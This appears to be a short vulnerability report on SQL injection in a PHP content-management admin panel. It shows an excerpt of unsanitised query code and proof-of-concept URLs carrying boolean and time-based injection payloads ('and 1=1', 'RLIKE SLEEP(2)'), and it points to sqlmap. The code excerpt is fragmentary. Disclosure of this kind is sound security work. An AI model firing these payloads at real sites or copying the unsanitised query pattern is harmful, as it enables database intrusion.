| <?php | |
| ..... | |

| { | |
| global $selected_page; | |
| global $selected_post; | |
| global $selected_sidebar; | |
| if (isset($_GET['page'])) { | |

| } | |
| if (isset($_GET['post'])) { | |

| } | |
| if (isset($_GET['sidebar'])) { | |

| function get_post_for_editing($post_id) | |

| $result = mysql_query($query); | |
| confirm_query($result); | |
| $post = mysql_fetch_array($result); | |
| return $post; | |
| } | |
| ?> | |
| -------------------------------- | |
| affected position: | |
| function "get_post_for_editing()" in /admin/functions/functions.php and $query = "INSERT INTO posts (page_id, title, active, position, content) VALUES ('{$page_id}', '{$title}', '{$active}', '{$position}', '{$content}')" in add_post.php; | |
| We can see the $post_id parameter has not been safely processed in functions.php. So, the SQL injection can be achieved by constructing SQL injection statements in add_post.php | |
| -------------------------------- | |
| affected executable: | |
| Like this: http://xx.xx.com/admin/add_post.php?page=2 and 1=1 | |
| http://xx.xx.com/admin/add_post.php?page=2 and 1=2 | |
| http://xx.xx.com/admin/add_post.php?page=2 RLIKE SLEEP(2) | |
| Then, we can use tools like sqlmap for more information. |
